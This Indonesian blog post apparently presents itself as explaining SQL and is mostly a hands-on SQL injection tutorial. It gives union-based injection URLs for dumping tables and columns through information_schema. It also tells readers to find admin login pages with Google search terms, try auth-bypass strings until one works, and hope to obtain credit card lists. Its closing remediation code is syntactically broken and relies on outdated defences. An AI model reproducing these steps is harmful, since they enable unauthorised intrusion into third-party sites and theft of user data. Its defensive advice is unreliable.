Apa itu SQL ?


Halo guys gw Keyy yang ganteng :v gw dapet amanah dari Bandit untuk menyampaikan tentang SQL ;v

Langsung ke topik pembahasan :

SQL injection adalah jenis aksi hacking pada keamanan komputer
di mana seorang penyerang bisa mendapatkan akses ke basis data
di dalam sistem. SQL injection yaitu serangan yang mirip dengan
 serangan XSS dalam bahwa penyerang memanfaatkan aplikasi
 vektor dan juga dengan Common dalam serangan XSS.



Serangan SQL Injection merupakan metode serangan dengan melakukan
 injeksi kode, digunakan untuk menyerang aplikasi berbasis data. ...
 Hacker mungkin bisa mendapatkan data arbitrary dari aplikasi,
 mengganggu logikanya, atau menjalankan command pada server database itu sendiri



Structured Query Language (SQL) adalah sekumpulan perintah khusus
 yang digunakan untuk mengakses data dalam database
 relasional. SQL merupakan sebuah bahasa komputer yang mengikuti
 standar ANSI (American Nasional Standard Institute) yang digunakan
 dalam manajemen database relasional.


SQL (/[unsupported input]ˈɛs kjuː ˈɛl/ "S-Q-L"; atau Structured Query
 Language) adalah sebuah bahasa yang digunakan untuk mengakses
 data dalam basis data relasional.


Baca juga : How to stored xss?


Carilah target
Misal: [site]/berita.php?id=100Tambahkan karakter ‘ pada akhir url
atau menambahkan karakter “-” untuk melihat apakah ada pesan error.
contoh:
[site]/berita.php?id=100’ atau
[site]/berita.php?id=-100
Sehingga muncul pesan error seperti berikut [ masih banyak lagi ]


Mencari dan menghitung jumlah table yang ada dalam databasenya…
gunakan perintah: order byContoh:[site]/berita.php?id=-100+order+by+1– atau
[site]/berita.php?id=-100+order+by+1/*Ceklah secara Langkah by Langkah (satupersatu)…
Misal:[site]/berita.php?id=-100+order+by+1–
[site]/berita.php?id=-100+order+by+2–
[site]/berita.php?id=-100+order+by+3–
[site]/berita.php?id=-100+order+by+4–Sehingga muncul error atau hilang pesan error…
Misal: [site]/berita.php?id=-100+order+by+9–

Berarti yang kita ambil adalah sampai angka 8
Menjadi [site]/berita.php?id=-100+order+by+8–




untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9
maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8–ok
seumpama yg keluar angka 5gunakan perintah version() atau @@version
 untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi
misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8– atau
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8–
Lihat versi yang digunakan se’umpama versi 4 tinggalkan saja
 karena dalam versi 4 ini kita harus menebak sendiri table dan column
 yang ada pada web tersebut karena tidak bisa menggunakan perintah
 From+Information_schema..Untuk versi 5 berarti anda beruntung tak
 perlu menebak table dan column seperti versi 4 karena di versi 5 ini
 bisa menggunakan perintah
 From+Information_schema..


Untuk menampilkan table yang ada pada web tersebut adalah
perintah table_name
>>> dimasukan pada angka yangg keluar tadi
perintah +from+information_schema.tables/*
 >>> dimasukan setelah angka terakhirCode:[site]/berita.php?id=-100+union+select+1,2,3,4,
table_name,6,7,8+from+information_schema.tables–Se’umpama table yang muncul adalah “admin”


untuk menampilkan semua isi dari table tersebut adalah
perintah group_concat(table_name)
 >>> dimasukan pada angka yang keluar tadi
perintah +from+information_schema.tables+where+table_schema=database()
 >>> dimasukan setelah angka terakhir[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name)
,6,7,8+from+information_schema. tables+where+table_schema=database()–


Perintah group_concat(column_name) >>> dimasukan pada angka yang keluar tadi
perintah +from+information_schema.columns+where+table_name=0xhexa–
>>> dimasukan setelah angka terakhir[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name)
,6,7,8+from+information_schema .columns+where+table_name=0xhexa–
Pada tahap ini kamu wajib mengextrak kata pada isi table
 menjadi hexadecimal yaitu dengan cara mengkonversinya
Website yg digunakan untuk konversi :  https://www.rapidtables.com/convert/number/ascii-to-hex.html Contoh
kata yang ingin dikonversi yaitu admin maka akan menjadi
 61646D696E[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8
+from+information_schema .columns+where+table_name=0x61646D696E–



Contoh sintak SQL dalam PHP
1) $SQL = “select * from login where username =’$username’ and
 password = ‘$password’”; , {dari GET atau POST variable }

2) isikan password dengan string ’ or ’’ = ’

3) hasilnya maka SQL akan seperti ini = “select *
from login where username = ’$username’ and password=’pass’ or ‘=′”; ,
{ dengan SQL ini hasil selection akan selalu TRUE }

4) maka kita bisa inject sintax SQL (dalam hal ini OR) kedalam SQL

Contoh sintaks SQL Injection
1) Sintaks SQL string ‘– setelah nama username


Penanganan SQL Injection
1) Merubah script php
2) Menggunakan MySQL_escape_string
3) Pemfilteran karakter ‘ dengan memodifikasi php.ini



1. Merubah script php
Contoh script php semula :
$query = “select id,name,email,password,type,block from user ” .
“where email = ‘$Email’ and password = ‘$Password'”;
$hasil = mySQL_query($query, $id_mySQL);
while($row = mySQL_fetch_row($hasil))
{
$Id = $row[0];
$name = $row[1];
$email = $row[2];
$password = $row[3];
$type = $row[4];
$block = $row[5];
}
if(strcmp($block, ‘yes’) == 0)
{
echo “<script>alert(‘Your account has been blocked’);
document.location.href=’index.php’;</script>\n”;
exit();
}
else if(!empty($Id) && !empty($name) && !empty($email) && !empty($password));

Script diatas memungkinkan seseorang dapat login dengan
 menyisipkan perintah SQL kedalam form login. Ketika hacker menyisipkan
 karakter ’ or ’’ = ’ kedalam form email dan password maka akan terbentuk
 query sebagai berikut :

Maka dilakukan perubahan script menjadi :
$query = “select id,name,email,password,type,block from user”.
“where email = ‘$Email'”;
$hasil = mySQL_query($query, $id_mySQL);
while($row = mySQL_fetch_row($hasil))
{
$Id = $row[0];
$name = $row[1];
$email = $row[2];
$password = $row[3];
$type = $row[4];
$block = $row[5];
}
if(strcmp($block, ‘yes’) == 0)
{
echo “<script>alert(‘Your account has been blocked’);
document.location.href=’index.php’;</script>\n”;
exit();
}
$pass = md5($Password);
else if((strcmp($Email,$email) == 0) && strcmp($pass,$password) == 0));

2. Menggunakan MySQL_escape_string
Merubah string yang mengandung
 karakter ‘ menjadi \’ misal SQL injec’tion menjadi SQL injec\’tion
Contoh :
$kar = “SQL injec’tion”;
$filter = mySQL_escape_string($kar);
echo”Hasil filter : $filter”;


3. Pemfilteran karakter ‘ dengan memodifikasi php.ini
Modifikasi dilakukan dengan mengenablekan
 variabel magic_quotes pada php.ini sehingga menyebabkan string maupun karakter ‘ diubah
 menjadi \’ secara otomatis oleh php


Contoh script yang membatasi karakter yang bisa masukkan :
function validatepassword( input )
good_password_chars =
“abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ”
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function
Implementasi SQL Injection
1) Masuk ke google atau browse yg lain
2) Masukkan salah satu keyword berikut
“/admin.asp”
“/login.asp”
“/logon.asp”
“/adminlogin.asp”
“/adminlogon.asp”
“/admin_login.asp”
“/admin_logon.asp”
“/admin/admin.asp”
“/admin/login.asp”
“/admin/logon.asp”
{anda bisa menambahi sendiri sesuai keinginan anda}

3) Bukalah salah satu link yang ditemukan oleh google,
kemungkinan Anda akan menjumpai sebuah halaman login
(user name danpassword).

4) Masukkan kode berikut :
User name :ora’=’a
Password :ora’=’a (termasuk tanda petiknya)

5) Jika berhasil, kemungkinan Anda akan masuk ke admin panel,
di mana Anda bisa menambahkan berita, mengedit user yang lain, merubah about,
dan lain-lain. Jika beruntung Anda bisa mendapatkan daftar kredit card yang banyak.

6) Jika tidak berhasil, cobalah mencari link yang lain yang
 ditemukan oleh google.

7) Banyak variasi kode yang mungkin, antara lain :
User name : admin
Password :ora’=’a
atau bisa dimasukkan ke dua–duanya misal :
‘ or 0=0 — ; “ or 0=0 — ; or 0=0 — ; ‘ or 0=0 # ;
“ or 0=0 # ; ‘ or’x’=’x ; “ or “x”=”x ; ‘) or (‘x’=’x
8) Cobalah sampai berhasil hingga anda bisa masuk ke admin panel

Cara pencegahan SQL INJECTION

1) Batasi panjang input box (jika memungkinkan),dengan
cara membatasinya di kode program, jadi si cracker pemula akan bingung
 sejenak melihat input box nya gak bisa diinject dengan perintah yang panjang.

2) Filter input yang dimasukkan oleh user, terutama penggunaan tanda
 kutip tunggal (Input Validation).

3) Matikan atau sembunyikan pesan-pesan error yang keluar
 dari SQL Server yang berjalan.

4) Matikan fasilitas-fasilitas standar seperti Stored Procedures,
 Extended Stored Procedures jika memungkinkan.

5) Ubah “Startup and run SQL Server” menggunakan low privilege user di
 SQL Server Security tab.

Sekian dari gw bila ada kesalahan mohon dimaafkan :v
Sampai Jumpa Kembali :v

3 Responses to "Apa itu SQL ?"

Iklan Atas Artikel

Iklan Tengah Artikel 2

Iklan Bawah Artikel adnow

loading...